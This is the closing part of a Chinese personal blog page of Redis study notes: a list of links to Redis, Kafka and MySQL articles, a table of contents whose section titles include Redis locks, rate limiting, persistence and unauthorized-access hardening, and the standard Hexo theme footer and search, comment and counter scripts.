<p><a href="https://bettercuicui.github.io/2017/07/04/REDIS/redis%E8%BF%87%E6%9C%9F%E6%95%B0%E6%8D%AE%E5%AD%98%E5%82%A8%E6%96%B9%E5%BC%8F%E4%BB%A5%E5%8F%8A%E5%88%A0%E9%99%A4%E6%96%B9%E5%BC%8F/" target="_blank" rel="noopener">redis过期数据存储方式以及删除方式</a></p>
<p><a href="https://bettercuicui.github.io/2018/04/01/REDIS/redis%E8%B6%85%E6%97%B6%E9%97%AE%E9%A2%98%E6%8E%92%E6%9F%A5/#" target="_blank" rel="noopener">redis超时问题排查</a></p>
<p><a href="https://juejin.im/entry/5ba4eed3f265da0afc2bfb44" target="_blank" rel="noopener">分布式和redis</a></p>
<p><a href="https://learnku.com/articles/36375" target="_blank" rel="noopener">Redis 主从复制详细解读</a></p>
<p><a href="http://blog.13sai.com/essay/188" target="_blank" rel="noopener">从缓存穿透聊到布隆过滤器</a></p>
<p><a href="http://blog.13sai.com/essay/165" target="_blank" rel="noopener">基于redis的秒杀</a></p>
<p><a href="http://blog.13sai.com/essay/178" target="_blank" rel="noopener">Redis 为什么使用单进程单线程方式也这么快</a></p>
<p><a href="https://learnku.com/articles/24466" target="_blank" rel="noopener">面试时你可能需要的 Redis 知识技巧</a></p>
<p><a href="https://me.jinchuang.org/archives/430.html" target="_blank" rel="noopener">Redis 一站式管理平台工具ngbdf/redis-manager</a></p>
<p><a href="https://www.cnblogs.com/qingyunzong/p/9004509.html" target="_blank" rel="noopener">Kafka学习之路</a></p>
<p><a href="https://learnku.com/articles/33110" target="_blank" rel="noopener">redis限流</a></p>
<p><a href="https://learnku.com/articles/31068" target="_blank" rel="noopener">Redis &amp; 常用用法详情</a></p>
<p><a href="https://learnku.com/articles/30827" target="_blank" rel="noopener">Redis 应用-分布式锁</a></p>
<p><a href="https://github.com/mylxsw/redis-tui" target="_blank" rel="noopener">命令行的 Redis</a></p>
<p><a href="https://www.cnblogs.com/glon/p/6541709.html" target="_blank" rel="noopener">Redis 简单入门</a></p>
<p><a href="https://juejin.im/post/5cb13b4d6fb9a0687b7dd0bd" target="_blank" rel="noopener">50道Redis面试题史上最全</a></p>
<p><a href="https://shuwoom.com/?p=2563" target="_blank" rel="noopener">MYSQL性能优化学习笔记-(1)数据库设计</a></p>
<p><a href="https://learnku.com/articles/30214" target="_blank" rel="noopener">Redis In Action 笔记</a></p>
<p><a href="https://segmentfault.com/a/1190000017882763" target="_blank" rel="noopener">redis缓存雪崩、缓存穿透、缓存更新了解多少？github.com/ZhongFuCheng3y/3y</a></p>
<p><a href="https://learnku.com/articles/24802" target="_blank" rel="noopener">Redis 基础学习</a></p>
<p><a href="https://learnku.com/articles/31894" target="_blank" rel="noopener"> Redis bitmap 在微擎内做公众号的签到活动</a></p>
<p><a href="https://learnku.com/articles/29500" target="_blank" rel="noopener">Redis In Action 笔记</a></p>
<p><a href="https://juejin.im/post/5af5b2c36fb9a07ac65318bd" target="_blank" rel="noopener">使用缓存的正确姿势</a></p>
<p><a href="https://juejin.im/post/5b584831e51d45190d5556b2#heading-0" target="_blank" rel="noopener">Redis问题汇总</a></p>
<p><a href="https://learnku.com/articles/31351" target="_blank" rel="noopener">Redis 的第 n 次涉及</a></p>
<p><a href="https://my.oschina.net/editorial-story/blog/3052308?p=3" target="_blank" rel="noopener">epoll 的本质是什么</a></p>

      
    </div>
    
    
    

    

    

    

    <footer class="post-footer">
      
        <div class="post-tags">
          
            <a href="/tags/redis/" rel="tag"># redis</a>
          
        </div>
      

      
      
      

      
        <div class="post-nav">
          <div class="post-nav-next post-nav-item">
            
              <a href="/2019/03/19/leetcode-题解/" rel="next" title="leetcode 题解">
                <i class="fa fa-chevron-left"></i> leetcode 题解
              </a>
            
          </div>

          <span class="post-nav-divider"></span>

          <div class="post-nav-prev post-nav-item">
            
              <a href="/2019/03/27/laravel-笔记/" rel="prev" title="laravel 笔记">
                laravel 笔记 <i class="fa fa-chevron-right"></i>
              </a>
            
          </div>
        </div>
      

      
      
    </footer>
  </div>
  
  
  
  </article>



    <div class="post-spread">
      
    </div>
  </div>


          </div>
          


          

  
          <div class="comments" id="comments">
             <div id="gitment-container"></div>
         </div>
  




        </div>
        
          
  
  <div class="sidebar-toggle">
    <div class="sidebar-toggle-line-wrap">
      <span class="sidebar-toggle-line sidebar-toggle-line-first"></span>
      <span class="sidebar-toggle-line sidebar-toggle-line-middle"></span>
      <span class="sidebar-toggle-line sidebar-toggle-line-last"></span>
    </div>
  </div>

  <aside id="sidebar" class="sidebar">
    
    <div class="sidebar-inner">

      

      
        <ul class="sidebar-nav motion-element">
          <li class="sidebar-nav-toc sidebar-nav-active" data-target="post-toc-wrap">
            文章目录
          </li>
          <li class="sidebar-nav-overview" data-target="site-overview-wrap">
            站点概览
          </li>
        </ul>
      

      <section class="site-overview-wrap sidebar-panel">
        <div class="site-overview">
          <div class="site-author motion-element" itemprop="author" itemscope="" itemtype="http://schema.org/Person">
            
              <p class="site-author-name" itemprop="name">苏生不惑</p>
              <p class="site-description motion-element" itemprop="description"></p>
          </div>

          <nav class="site-state motion-element">

            
              <div class="site-state-item site-state-posts">
              
                <a href="/archives/">
              
                  <span class="site-state-item-count">382</span>
                  <span class="site-state-item-name">日志</span>
                </a>
              </div>
            

            

            
              
              
              <div class="site-state-item site-state-tags">
                <a href="/tags/index.html">
                  <span class="site-state-item-count">37</span>
                  <span class="site-state-item-name">标签</span>
                </a>
              </div>
            

          </nav>

          

          
            <div class="links-of-author motion-element">
                
                  <span class="links-of-author-item">
                    <a href="https://github.com/sushengbuhuo" target="_blank" title="GitHub">
                      
                        <i class="fa fa-fw fa-github"></i>GitHub</a>
                  </span>
                
                  <span class="links-of-author-item">
                    <a href="mysusheng@gmail.com" target="_blank" title="E-Mail">
                      
                        <i class="fa fa-fw fa-envelope"></i>E-Mail</a>
                  </span>
                
                  <span class="links-of-author-item">
                    <a href="https://plus.google.com/mysusheng" target="_blank" title="Google">
                      
                        <i class="fa fa-fw fa-google"></i>Google</a>
                  </span>
                
            </div>
          

          
          

          
          
            <div class="links-of-blogroll motion-element links-of-blogroll-block">
              <div class="links-of-blogroll-title">
                <i class="fa  fa-fw fa-link"></i>
                Links
              </div>
              <ul class="links-of-blogroll-list">
                
                  <li class="links-of-blogroll-item">
                    <a href="http://v2ex.com/" title="v2ex" target="_blank">v2ex</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.fanhaobai.com/" title="fanhaobai" target="_blank">fanhaobai</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://yuanxuxu.com/archives/" title="yuanxuxu" target="_blank">yuanxuxu</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.snail-c.cn/article" title="snail-c" target="_blank">snail-c</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="http://showcj.com/archives" title="showcj" target="_blank">showcj</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="http://vultr.aicnm.com/%E6%9C%80%E6%96%B0Vultr%E6%B3%A8%E5%86%8C%E5%8F%8AVPS%E8%B4%AD%E4%B9%B0%E5%9B%BE%E6%96%87%E6%95%99%E7%A8%8B/" title="vultr" target="_blank">vultr</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.lucissfer.com/" title="lucissfer" target="_blank">lucissfer</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://blog.csdn.net/fdipzone/article/details/79352685" title="傲雪星枫" target="_blank">傲雪星枫</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.yoby123.cn/index.php/category/default/" title="小白的分享" target="_blank">小白的分享</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.cnblogs.com/52fhy/p/5819995.html" title="PHP攻城狮" target="_blank">PHP攻城狮</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://blog.jiaojie.site/" title="php" target="_blank">php</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://sphard.com/archives/" title="sphard" target="_blank">sphard</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://yuanxuxu.com/archives/" title="LNMP技术栈笔记" target="_blank">LNMP技术栈笔记</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="http://www.coding10.com/" title="学习 Laravel" target="_blank">学习 Laravel</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://shuwoom.com/?page_id=929" title="区块链学习指南" target="_blank">区块链学习指南</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://greenlightt.github.io/archives/" title="greenlightt" target="_blank">greenlightt</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.0php.net/archives/" title="0php" target="_blank">0php</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="http://www.fordba.com/category/mysql" title="mysql" target="_blank">mysql</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.itcodemonkey.com/" title="程序员" target="_blank">程序员</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.yanshuo.me/r/v2ex" title="言说" target="_blank">言说</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.timiguo.com/archive.html" title="提米果的博客" target="_blank">提米果的博客</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://phpartisan.cn/news/112.html" title="phpartisan" target="_blank">phpartisan</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.cnblogs.com/52fhy/" title="飞鸿影" target="_blank">飞鸿影</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="http://www.54php.cn/" title="54php" target="_blank">54php</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.lazyman.vip/" title="营销" target="_blank">营销</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.njphper.com/archives/" title="做人呢最重要的就是开心" target="_blank">做人呢最重要的就是开心</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.h57.pw/" title="php 初心者" target="_blank">php 初心者</a>
                  </li>
                
              </ul>
            </div>
          

          

        </div>
      </section>

      
      <!--noindex-->
        <section class="post-toc-wrap motion-element sidebar-panel sidebar-panel-active">
          <div class="post-toc">

            
              
            

            
              <div class="post-toc-content"><ol class="nav"><li class="nav-item nav-level-3"><a class="nav-link" href="#指定时间自动取消订单"><span class="nav-number">1.</span> <span class="nav-text">指定时间自动取消订单</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#数据类型不一致"><span class="nav-number">2.</span> <span class="nav-text">数据类型不一致</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#Redis-被黑"><span class="nav-number">3.</span> <span class="nav-text">Redis 被黑</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#加锁和解锁问题"><span class="nav-number">4.</span> <span class="nav-text">加锁和解锁问题</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#php-redis"><span class="nav-number">5.</span> <span class="nav-text">php redis</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#常用命令"><span class="nav-number">6.</span> <span class="nav-text">常用命令</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#批量删除redis的key"><span class="nav-number">7.</span> <span class="nav-text">批量删除redis的key</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#有序集合实现-24-小时排行榜实时更新"><span class="nav-number">8.</span> <span class="nav-text">有序集合实现 24 小时排行榜实时更新</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#主从配置"><span class="nav-number">9.</span> <span class="nav-text">主从配置</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#分布式锁"><span class="nav-number">10.</span> <span class="nav-text">分布式锁</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#异步消息队列与延时队列"><span class="nav-number">11.</span> <span class="nav-text">异步消息队列与延时队列</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#geo"><span class="nav-number">12.</span> <span class="nav-text">geo</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#限流"><span class="nav-number">13.</span> <span class="nav-text">限流</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#redis-删除大key集合的方法"><span class="nav-number">14.</span> <span class="nav-text">redis 删除大key集合的方法</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#删除redis中过时的key"><span class="nav-number">15.</span> <span class="nav-text">删除redis中过时的key</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#redis总结"><span class="nav-number">16.</span> <span class="nav-text">redis总结</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#签到"><span class="nav-number">17.</span> <span class="nav-text">签到</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#Redis-分布式存储"><span class="nav-number">18.</span> <span class="nav-text">Redis 分布式存储</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#获取大-key"><span class="nav-number">19.</span> <span class="nav-text">获取大 key</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#redis锁"><span class="nav-number">20.</span> <span class="nav-text">redis锁</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#Redis-未授权访问配合"><span class="nav-number">21.</span> <span class="nav-text">Redis 未授权访问配合</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#Redis-查看所有-key-的-value-值所占内存大小"><span class="nav-number">22.</span> <span class="nav-text">Redis 查看所有 key 的 value 值所占内存大小</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#管理平台工具-RedisManager"><span class="nav-number">23.</span> <span class="nav-text">管理平台工具 RedisManager</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#Redis监控工具-redis-stat"><span class="nav-number">24.</span> <span class="nav-text">Redis监控工具 redis-stat</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#loading-redis-is-loading-the-dataset-in-memory-laravel"><span class="nav-number">25.</span> <span class="nav-text">loading redis is loading the dataset in memory laravel</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#提前10分钟提醒信息"><span class="nav-number">26.</span> <span class="nav-text">提前10分钟提醒信息</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#Redis-持久化存储"><span class="nav-number">27.</span> <span class="nav-text">Redis 持久化存储</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#文章投票"><span class="nav-number">28.</span> <span class="nav-text">文章投票</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#缓存穿透"><span class="nav-number">29.</span> <span class="nav-text">缓存穿透</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#Redis-的-LBS-尝试地理位置"><span class="nav-number">30.</span> <span class="nav-text">Redis 的 LBS 尝试地理位置</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#基于redis的秒杀"><span class="nav-number">31.</span> <span class="nav-text">基于redis的秒杀</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#查看所有-key-的-value-值所占内存大小"><span class="nav-number">32.</span> <span class="nav-text">查看所有 key 的 value 值所占内存大小</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#Redis-快速上手"><span class="nav-number">33.</span> <span class="nav-text">Redis 快速上手</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#redis安全"><span class="nav-number">34.</span> <span class="nav-text">redis安全</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#Redis-scard主从延时问题"><span class="nav-number">35.</span> <span class="nav-text">Redis scard主从延时问题</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#redis数据持久化"><span class="nav-number">36.</span> <span class="nav-text">redis数据持久化</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#基于redis实现分布式锁"><span class="nav-number">37.</span> <span class="nav-text">基于redis实现分布式锁</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#Redis-使用-lua-脚本"><span class="nav-number">38.</span> <span class="nav-text">Redis 使用 lua 脚本</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#redis未授权-amp-弱密码漏洞复现和防护"><span class="nav-number">39.</span> <span class="nav-text">redis未授权&amp;弱密码漏洞复现和防护</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#删除大key"><span class="nav-number">40.</span> <span class="nav-text">删除大key</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#redis中的并发问题"><span class="nav-number">41.</span> <span class="nav-text">redis中的并发问题</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#Redis-使用-Lua-脚本替代-SETNX-DECR-保证原子性"><span class="nav-number">42.</span> <span class="nav-text">Redis 使用 Lua 脚本替代 SETNX / DECR 保证原子性</span></a></li></ol></div>
            

          </div>
        </section>
      <!--/noindex-->
      

      

    </div>
  </aside>


        
      </div>
    </main>

    <footer id="footer" class="footer">
      <div class="footer-inner">
        <script async src="https://dn-lbstatics.qbox.me/busuanzi/2.3/busuanzi.pure.mini.js"></script>

<div class="copyright">&copy; <span itemprop="copyrightYear">2021</span>
  <span class="with-love">
    <i class="fa fa-user"></i>
  </span>
  <span class="author" itemprop="copyrightHolder">苏生不惑</span>

  
</div>


  <div class="powered-by">由 <a class="theme-link" target="_blank" href="https://hexo.io">Hexo</a> 强力驱动</div>



  <span class="post-meta-divider">|</span>



  <div class="theme-info">主题 &mdash; <a class="theme-link" target="_blank" href="https://github.com/iissnan/hexo-theme-next">NexT.Gemini</a> v5.1.4</div>



<div>
<span id="showDays"></span>

</div>

<span id="busuanzi_container_site_pv">
   总访问量:<span id="busuanzi_value_site_pv"></span>次
</span>



  <span class="post-meta-divider">|</span>



<div class="theme-info">
  <div class="powered-by"></div>
  <span class="post-count">博客全站共773.8k字</span>
</div>
<script>
var birthDay = new Date("11/20/2018");
var now = new Date();
var duration = now.getTime() - birthDay.getTime();
var total= Math.floor(duration / (1000 * 60 * 60 * 24));
document.getElementById("showDays").innerHTML = "本站已运行 "+total+" 天";
</script>

        
<div class="busuanzi-count">
  <script async src="https://dn-lbstatics.qbox.me/busuanzi/2.3/busuanzi.pure.mini.js"></script>

  
    <span class="site-uv">
      <i class="fa fa-user"></i>
      <span class="busuanzi-value" id="busuanzi_value_site_uv"></span>
      人次
    </span>
  

  
    <span class="site-pv">
      <i class="fa fa-eye"></i>
      <span class="busuanzi-value" id="busuanzi_value_site_pv"></span>
      次
    </span>
  
</div>








        
      </div>
    </footer>

    
      <div class="back-to-top">
        <i class="fa fa-arrow-up"></i>
        
      </div>
    

    

  </div>

  

<script type="text/javascript">
  if (Object.prototype.toString.call(window.Promise) !== '[object Function]') {
    window.Promise = null;
  }
</script>









  


  











  
  
    <script type="text/javascript" src="/lib/jquery/index.js?v=2.1.3"></script>
  

  
  
    <script type="text/javascript" src="/lib/fastclick/lib/fastclick.min.js?v=1.0.6"></script>
  

  
  
    <script type="text/javascript" src="/lib/jquery_lazyload/jquery.lazyload.js?v=1.9.7"></script>
  

  
  
    <script type="text/javascript" src="/lib/velocity/velocity.min.js?v=1.2.1"></script>
  

  
  
    <script type="text/javascript" src="/lib/velocity/velocity.ui.min.js?v=1.2.1"></script>
  

  
  
    <script type="text/javascript" src="/lib/fancybox/source/jquery.fancybox.pack.js?v=2.1.5"></script>
  

  
  
    <script type="text/javascript" src="/lib/canvas-nest/canvas-nest.min.js"></script>
  


  


  <script type="text/javascript" src="/js/src/utils.js?v=5.1.4"></script>

  <script type="text/javascript" src="/js/src/motion.js?v=5.1.4"></script>



  
  


  <script type="text/javascript" src="/js/src/affix.js?v=5.1.4"></script>

  <script type="text/javascript" src="/js/src/schemes/pisces.js?v=5.1.4"></script>



  
  <script type="text/javascript" src="/js/src/scrollspy.js?v=5.1.4"></script>
<script type="text/javascript" src="/js/src/post-details.js?v=5.1.4"></script>



  


  <script type="text/javascript" src="/js/src/bootstrap.js?v=5.1.4"></script>



  


  




	





  





  











<script type="text/javascript">
    (function() {
        // 匿名函数，防止污染全局变量
        var utterances = document.createElement('script');
        utterances.type = 'text/javascript';
        utterances.async = true;
        utterances.setAttribute('issue-term','0')
        utterances.setAttribute('theme','')
        utterances.setAttribute('repo','sushengbuhuo/laravel_ioc_demo')
        utterances.crossorigin = 'anonymous';
        utterances.src = 'https://utteranc.es/client.js';
        // content 是要插入评论的地方
        document.getElementById('gitment-container').appendChild(utterances);
    })();
</script>


  

  <script type="text/javascript">
    // Popup Window;
    var isfetched = false;
    var isXml = true;
    // Search DB path;
    var search_path = "search.xml";
    if (search_path.length === 0) {
      search_path = "search.xml";
    } else if (/json$/i.test(search_path)) {
      isXml = false;
    }
    var path = "/" + search_path;
    // monitor main search box;

    var onPopupClose = function (e) {
      $('.popup').hide();
      $('#local-search-input').val('');
      $('.search-result-list').remove();
      $('#no-result').remove();
      $(".local-search-pop-overlay").remove();
      $('body').css('overflow', '');
    }

    function proceedsearch() {
      $("body")
        .append('<div class="search-popup-overlay local-search-pop-overlay"></div>')
        .css('overflow', 'hidden');
      $('.search-popup-overlay').click(onPopupClose);
      $('.popup').toggle();
      var $localSearchInput = $('#local-search-input');
      $localSearchInput.attr("autocapitalize", "none");
      $localSearchInput.attr("autocorrect", "off");
      $localSearchInput.focus();
    }

    // search function;
    var searchFunc = function(path, search_id, content_id) {
      'use strict';

      // start loading animation
      $("body")
        .append('<div class="search-popup-overlay local-search-pop-overlay">' +
          '<div id="search-loading-icon">' +
          '<i class="fa fa-spinner fa-pulse fa-5x fa-fw"></i>' +
          '</div>' +
          '</div>')
        .css('overflow', 'hidden');
      $("#search-loading-icon").css('margin', '20% auto 0 auto').css('text-align', 'center');

      $.ajax({
        url: path,
        dataType: isXml ? "xml" : "json",
        async: true,
        success: function(res) {
          // get the contents from search data
          isfetched = true;
          $('.popup').detach().appendTo('.header-inner');
          var datas = isXml ? $("entry", res).map(function() {
            return {
              title: $("title", this).text(),
              content: $("content",this).text(),
              url: $("url" , this).text()
            };
          }).get() : res;
          var input = document.getElementById(search_id);
          var resultContent = document.getElementById(content_id);
          var inputEventFunction = function() {
            var searchText = input.value.trim().toLowerCase();
            var keywords = searchText.split(/[\s\-]+/);
            if (keywords.length > 1) {
              keywords.push(searchText);
            }
            var resultItems = [];
            if (searchText.length > 0) {
              // perform local searching
              datas.forEach(function(data) {
                var isMatch = false;
                var hitCount = 0;
                var searchTextCount = 0;
                var title = data.title.trim();
                var titleInLowerCase = title.toLowerCase();
                var content = data.content.trim().replace(/<[^>]+>/g,"");
                var contentInLowerCase = content.toLowerCase();
                var articleUrl = decodeURIComponent(data.url);
                var indexOfTitle = [];
                var indexOfContent = [];
                // only match articles with not empty titles
                if(title != '') {
                  keywords.forEach(function(keyword) {
                    function getIndexByWord(word, text, caseSensitive) {
                      var wordLen = word.length;
                      if (wordLen === 0) {
                        return [];
                      }
                      var startPosition = 0, position = [], index = [];
                      if (!caseSensitive) {
                        text = text.toLowerCase();
                        word = word.toLowerCase();
                      }
                      while ((position = text.indexOf(word, startPosition)) > -1) {
                        index.push({position: position, word: word});
                        startPosition = position + wordLen;
                      }
                      return index;
                    }

                    indexOfTitle = indexOfTitle.concat(getIndexByWord(keyword, titleInLowerCase, false));
                    indexOfContent = indexOfContent.concat(getIndexByWord(keyword, contentInLowerCase, false));
                  });
                  if (indexOfTitle.length > 0 || indexOfContent.length > 0) {
                    isMatch = true;
                    hitCount = indexOfTitle.length + indexOfContent.length;
                  }
                }

                // show search results

                if (isMatch) {
                  // sort index by position of keyword

                  [indexOfTitle, indexOfContent].forEach(function (index) {
                    index.sort(function (itemLeft, itemRight) {
                      if (itemRight.position !== itemLeft.position) {
                        return itemRight.position - itemLeft.position;
                      } else {
                        return itemLeft.word.length - itemRight.word.length;
                      }
                    });
                  });

                  // merge hits into slices

                  function mergeIntoSlice(text, start, end, index) {
                    var item = index[index.length - 1];
                    var position = item.position;
                    var word = item.word;
                    var hits = [];
                    var searchTextCountInSlice = 0;
                    while (position + word.length <= end && index.length != 0) {
                      if (word === searchText) {
                        searchTextCountInSlice++;
                      }
                      hits.push({position: position, length: word.length});
                      var wordEnd = position + word.length;

                      // move to next position of hit

                      index.pop();
                      while (index.length != 0) {
                        item = index[index.length - 1];
                        position = item.position;
                        word = item.word;
                        if (wordEnd > position) {
                          index.pop();
                        } else {
                          break;
                        }
                      }
                    }
                    searchTextCount += searchTextCountInSlice;
                    return {
                      hits: hits,
                      start: start,
                      end: end,
                      searchTextCount: searchTextCountInSlice
                    };
                  }

                  var slicesOfTitle = [];
                  if (indexOfTitle.length != 0) {
                    slicesOfTitle.push(mergeIntoSlice(title, 0, title.length, indexOfTitle));
                  }

                  var slicesOfContent = [];
                  while (indexOfContent.length != 0) {
                    var item = indexOfContent[indexOfContent.length - 1];
                    var position = item.position;
                    var word = item.word;
                    // cut out 100 characters
                    var start = position - 20;
                    var end = position + 80;
                    if(start < 0){
                      start = 0;
                    }
                    if (end < position + word.length) {
                      end = position + word.length;
                    }
                    if(end > content.length){
                      end = content.length;
                    }
                    slicesOfContent.push(mergeIntoSlice(content, start, end, indexOfContent));
                  }

                  // sort slices in content by search text's count and hits' count

                  slicesOfContent.sort(function (sliceLeft, sliceRight) {
                    if (sliceLeft.searchTextCount !== sliceRight.searchTextCount) {
                      return sliceRight.searchTextCount - sliceLeft.searchTextCount;
                    } else if (sliceLeft.hits.length !== sliceRight.hits.length) {
                      return sliceRight.hits.length - sliceLeft.hits.length;
                    } else {
                      return sliceLeft.start - sliceRight.start;
                    }
                  });

                  // select top N slices in content

                  var upperBound = parseInt('1');
                  if (upperBound >= 0) {
                    slicesOfContent = slicesOfContent.slice(0, upperBound);
                  }

                  // highlight title and content

                  function highlightKeyword(text, slice) {
                    var result = '';
                    var prevEnd = slice.start;
                    slice.hits.forEach(function (hit) {
                      result += text.substring(prevEnd, hit.position);
                      var end = hit.position + hit.length;
                      result += '<b class="search-keyword">' + text.substring(hit.position, end) + '</b>';
                      prevEnd = end;
                    });
                    result += text.substring(prevEnd, slice.end);
                    return result;
                  }

                  var resultItem = '';

                  if (slicesOfTitle.length != 0) {
                    resultItem += "<li><a href='" + articleUrl + "' class='search-result-title'>" + highlightKeyword(title, slicesOfTitle[0]) + "</a>";
                  } else {
                    resultItem += "<li><a href='" + articleUrl + "' class='search-result-title'>" + title + "</a>";
                  }

                  slicesOfContent.forEach(function (slice) {
                    resultItem += "<a href='" + articleUrl + "'>" +
                      "<p class=\"search-result\">" + highlightKeyword(content, slice) +
                      "...</p>" + "</a>";
                  });

                  resultItem += "</li>";
                  resultItems.push({
                    item: resultItem,
                    searchTextCount: searchTextCount,
                    hitCount: hitCount,
                    id: resultItems.length
                  });
                }
              })
            };
            if (keywords.length === 1 && keywords[0] === "") {
              resultContent.innerHTML = '<div id="no-result"><i class="fa fa-search fa-5x" /></div>'
            } else if (resultItems.length === 0) {
              resultContent.innerHTML = '<div id="no-result"><i class="fa fa-frown-o fa-5x" /></div>'
            } else {
              resultItems.sort(function (resultLeft, resultRight) {
                if (resultLeft.searchTextCount !== resultRight.searchTextCount) {
                  return resultRight.searchTextCount - resultLeft.searchTextCount;
                } else if (resultLeft.hitCount !== resultRight.hitCount) {
                  return resultRight.hitCount - resultLeft.hitCount;
                } else {
                  return resultRight.id - resultLeft.id;
                }
              });
              var searchResultList = '<ul class=\"search-result-list\">';
              resultItems.forEach(function (result) {
                searchResultList += result.item;
              })
              searchResultList += "</ul>";
              resultContent.innerHTML = searchResultList;
            }
          }

          if ('auto' === 'auto') {
            input.addEventListener('input', inputEventFunction);
          } else {
            $('.search-icon').click(inputEventFunction);
            input.addEventListener('keypress', function (event) {
              if (event.keyCode === 13) {
                inputEventFunction();
              }
            });
          }

          // remove loading animation
          $(".local-search-pop-overlay").remove();
          $('body').css('overflow', '');

          proceedsearch();
        }
      });
    }

    // handle and trigger popup window;
    $('.popup-trigger').click(function(e) {
      e.stopPropagation();
      if (isfetched === false) {
        searchFunc(path, 'local-search-input', 'local-search-result');
      } else {
        proceedsearch();
      };
    });

    $('.popup-btn-close').click(onPopupClose);
    $('.popup').click(function(e){
      e.stopPropagation();
    });
    $(document).on('keyup', function (event) {
      var shouldDismissSearchPopup = event.which === 27 &&
        $('.search-popup').is(':visible');
      if (shouldDismissSearchPopup) {
        onPopupClose();
      }
    });
  </script>





  

  

  

  
  

  

  

  

  
<script>
  ((window.gitter = {}).chat = {}).options = {
    //room替换成自己的聊天室名称即可，room的名称规则是：username/roomname
    room: 'sushengbuhuo-chat/mychat'
  };
</script>
<script src="https://sidecar.gitter.im/dist/sidecar.v1.js" async defer></script>

</body>
</html>
